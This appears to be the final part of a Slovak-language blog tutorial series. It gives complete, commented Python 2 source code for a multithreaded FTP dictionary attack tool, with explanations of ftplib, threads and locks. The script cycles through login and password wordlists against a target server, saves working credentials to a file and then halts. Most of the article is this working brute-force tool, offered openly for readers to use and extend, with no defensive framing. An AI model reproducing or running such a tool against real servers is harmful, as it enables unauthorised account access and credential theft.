Zpět na seznam článků     Číst komentáře (11)     Verze pro tisk

Python - FTP dictionary attack (Zdrojový kód)

Autor: nitrexx   
7.10.2012

Výsledný okomentovaný zdrojový kód a vysvetlenie práce z modulom ftplib.


Ešte pred tým ako sa dostanete k zdrojovému kódu ukážem vám prácu s modulom ftplib. Je to jednoduchý príklad:

  1. import ftplib
  2.  
  3. ftp = ftplib.FTP("server.com")#ftp server
  4. ftp.login("login", "password")#login a password
  5. ftp.retrlines('LIST')#vypis obsahu
  6. ftp.quit()# ukoncenie

Ako server zadáme iba „server.com“ , python je natoľko inteligentný že si sám pridá ftp:\\. Login to je jasné, zadáme meno a heslo, retrlines sem zadávame ftp príkazy ako napr. LIST ktorý vypíše obsah . A už iba ukončíme spojenie.

Vlákna už nejdem zvlášť ukazovať. V našom programe využívame iba run() a start(). Ukážem iba základnú štruktúru:

  1. import threading
  2.  
  3. class ThreadWork(threading.Thread):
  4.  
  5.     def run(self):
  6.    #sem dáme to čo sa ma vykonávať vo vlákne
  7.  
  8. work = ThreadWork()
  9. work.start()#spusti vlakno a prejde do metody run

Vlákno sa dá vytvoriť ešte iným spôsobom(zavolať metódu threading.Thread() a predať jej objekt) ale toto je najpoužívanejší.

Zdrojový kód

Nešlo o to vytvoriť najlepší ftpda ale išlo o to ukázať ako sa tvorí takýto program, čo všetko k tomu potrebujeme a hlavne logiku ako to celé funguje. Snažil som sa to spraviť čo najjednoduchšie a najmenšie ale zase aby to splnilo svoj účel . Ďalej je už len na vás či si to rozšírte o nové funkcie.

  1. import os
  2. import sys
  3. import getopt
  4. import time, threading
  5. from copy import copy
  6. import ftplib
  7. import signal
  8.  
  9. app = "Ftp Dictionary Attack"
  10. version = '1.0'
  11. author = "Nitrexx"
  12.  
  13. #nastavenie argumentov    
  14. try:
  15.     opts, args = getopt.getopt(sys.argv[1:],"h:s:l:p:",["help","server=","lfile=","pfile="])
  16. except getopt.GetoptError:
  17.     print app, " ", "Autor: ",author, "Verzia: ", version
  18.     print 'ftpda.py -s <server> -l <login> -p <password>'
  19.     sys.exit(2)
  20. for opt, arg in opts:
  21.     if opt in ('-h', '--help'):
  22.         print app, " ", "Autor: ",author, "Verzia: ", version
  23.         print 'ftpda.py -s <server> -l <login> -p <password>'
  24.         sys.exit()
  25.     elif opt in ("-l", "--lfile"):
  26.         loginfile = arg
  27.     elif opt in ("-p", "--pfile"):
  28.         passwordfile = arg
  29.     elif opt in ("-s", "--server"):
  30.         server = arg
  31.        
  32. #nacitanie loginov a hesiel
  33. try:
  34.     logins = open(loginfile,"r").readlines()
  35. except(IOError):
  36.     print "{0} nebol najdeny".format(loginfile)
  37.     sys.exit(1)
  38.  
  39. try:
  40.     passwords = open(passwordfile, "r").readlines()
  41. except(IOError):
  42.     print "{0} nebol najdeny".format(passwordfile)
  43.     sys.exit(1)
  44.  
  45. print "\n\t\t\t   Nitrexx Dictionary Attack"
  46. print "\t--------------------------------------------------\n"
  47. print "[*] Server:",server
  48. print "[*] Pocet loginov:",len(logins)
  49. print "[*] Pocet hesiel:",len(passwords)
  50. print '-' *15  
  51. print 'Login subor :' ,loginfile
  52. print 'Password subor  :', passwordfile
  53. print '-' *15
  54.  
  55. dictionary = copy(passwords)#nakopiruje obsah do dictionary
  56.    
  57. def prekladac():# nacita odznova hesla
  58.     for word in dictionary:
  59.         passwords.append(word)
  60.  
  61. def zoznam():
  62.  
  63.     lock = threading.Lock()
  64.     lock.acquire()#zamkne, aby sem nemohlo pristupit ine vlakno
  65.     if len(passwords) != 0:
  66.         value = passwords[0:]#aktualne nacitane heslo
  67.         passwords.remove(value[0])#vymaze prve heslo
  68.     else:
  69.         #print "[*]Menim zoznam\n"+"-" *25
  70.         prekladac()#nacita hesla od znova        
  71.         value = "" #skusa prazdne heslo
  72.         logins.remove(logins[0])# odstrani prvy login
  73.  
  74.     lock.release()#odomkne
  75.     #podla podmienok vracia hodnoty a odstranuje biele znaky
  76.     if value == "" and len(logins) == 1:
  77.         return value, logins[0].strip()
  78.     elif len(logins) == 1:
  79.         return value[0].strip(), logins[0].strip()
  80.     elif value == "":
  81.         return value, logins[0].strip()
  82.     else:
  83.         return value[0].strip(), logins[0].strip()
  84.  
  85.  
  86.        
  87. class ThreadWork(threading.Thread):
  88.  
  89.     def run(self):
  90.        
  91.         value, user = zoznam()#vratene hodnoty
  92.         try:
  93.             print "Login:",user,"Password:",value
  94.             ftp = ftplib.FTP(server)
  95.             ftp.login(user, value)
  96.             ftp.retrlines('LIST')#vypis
  97.             ftp.quit()
  98.             print "\t[+]Prihlasenie uspesne!\n"
  99.             print "[*]Login: ",user + "\tPassword:",value#uspesne prihlasanie          
  100.             outf = server+".txt"#subor pomenovany podla serveru
  101.             out = open(outf, "w")#zapise sa do neho uspesny login a heslo
  102.             out.write("Pass: " + value + " " + "Login: " + user)
  103.             out.close()
  104.             os.kill(os.getpid(), signal.SIGINT)#nasilne ukonci vlakno a cely proces
  105.         except (ftplib.all_errors),msg:
  106.             pass # chyba nesprav nic
  107.  
  108. def bigrange(stop):#vlastna metoda range
  109.      i = 0
  110.      while i < stop:
  111.              yield i
  112.              i += 1
  113.  
  114. for i in bigrange((len(passwords)+1)*(len(logins))-1):#vypocita dlzku
  115.     work = ThreadWork()
  116.     work.start()#spusti vlakno
  117.     time.sleep(0.1)#1 = sekunda, ked casovanie odstranime tak treba odkomentovat vypisi
  118.                     #lebo vlakna idu rychlejsie a preto vypisuje slova rozhadzane

Všetky časti kódu som prebral v serialy tomuto venovanému. Ešte som nevysvetlil funkciu zámkov. Zámky su implementované aby malo k premenným prístup stále len jedno vlákno. Lebo keby pristupovalo k premenným veľa vlákien naraz bol by z toho chaos, kedže jedno vlákno by ešte nemuselo ukončiť prácu s premennou a už by ku nej pristupovalo druhé.

Takto keď sa tam dostane vlákno najprv zamkne spraví si svoju prácu a keď to dokončí tak odomkne a v tom už k tomu pristujpuje druhé vlákno.

Ďalej funkcia vráti hodnoty podľa podmienky a vlákno sa pokúša pripojiť na ftp ak uspeje vytvorí súbor z názvom serveru , ktorý obsahuje úspešný login a heslo a ukončí celý proces. Ak prihlásanie neuspeje tak nedspraví nič a pokúša sa o to ďalšie vlákno.

Funkciu bigrange() som musel spraviť preto, lebo klasické range() nedokáže pracovať z veľkým rozsahom a pri teste z wordlistom obsahujúcim 14 000 000 slov, nebude pracovať a ohlási chybu.

A time.sleep() je dôležité kvôli správnemu výpisu, ale spomaluje chod programu, takže keď odkomentujeme vypísi a túto metodu tak sa beh programu zrýchli ale program nebude mať žiadny výstup(iba zápis do súboru so správnym prihlasením).


Všechny díly seriálu

Python - FTP dictionary attack (1)
Python - FTP dictionary attack (2)
Python - FTP dictionary attack (Zdrojový kód)
Líbil se Vám článek?
Budeme potěšeni, pokud vás zaujme také reklamní nabídka

Social Bookmarking

     





Hodnocení/Hlasovalo: 1.92/12

1  2  3  4  5    
(známkování jako ve škole)